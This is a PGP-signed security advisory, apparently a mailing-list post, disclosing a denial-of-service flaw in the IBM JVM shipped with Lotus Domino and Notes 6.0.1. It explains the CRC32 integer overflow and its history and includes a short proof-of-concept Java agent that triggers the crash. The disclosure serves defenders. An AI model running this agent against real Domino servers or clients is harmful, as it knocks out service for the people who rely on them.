-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi,

the following agent causes the IBM JVM 1.3.1 shipped with Lotus Domino 6.0.=
1
and Lotus Notes 6.0.1 to crash. After calling the agent a huge amount of me=
mory
is not freed and causes the server machine (observed on MS XP) to
deny further service.

IMPLICATIONS
- - If the agent is run on the client, Lotus Notes 6.0.1 is vulnerable,
- - if the agent is run on the server, Lotus Domino 6.0.1 is vulnerable.

ANALYSIS:
The call to the "update" method of the CRC32 raises an integer overflow
in the java java.util.zip.* core libraries which triggers a jni routine
that cannot handle the extreme high input value.

HISTORY:
This vulnerability has already been detected in the Sun JDK
(http://developer.java.sun.com/develo...s/4811913.html),
and was disclosed at Blackhat Windows 2003.
The background of this bugs is described at www.illegalaccess.org

Sincerely
Marc Schoenefeld

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
Agent Source Code=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= 3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D
import lotus.domino.*;
import java.util.zip.*;

public class JavaAgent extends AgentBase {

=09public void NotesMain() {

=09=09try {
=09=09=09Session session =3D getSession();
=09=09=09AgentContext agentContext =3D
session.getAgentContext();
=09=09=09 CRC32 crc32 =3D new CRC32();
crc32.update(new byte[0], 4, 0x7ffffffc);

=09=09=09// (Your code goes here)

=09=09} catch(Exception e) {
=09=09=09e.printStackTrace();
=09=09}
=09}
}
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
Agent Source Code=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= 3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D


- --

Never be afraid to try something new. Remember, amateurs built the
ark; professionals built the Titanic. -- Anonymous

Marc Sch=F6nefeld Dipl. Wirtsch.-Inf. / Software Developer
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (AIX)
Comment: For info see http://www.gnupg.org

iD8DBQE+j09FqCaQvrKNUNQRAs9uAJ4unAFEKqqRuk4gBlkNSK Q5rTMa0wCfVzC+
iJHcqblX8QE7UaPofUrKU3Y=3D
=3Dl93r
-----END PGP SIGNATURE-----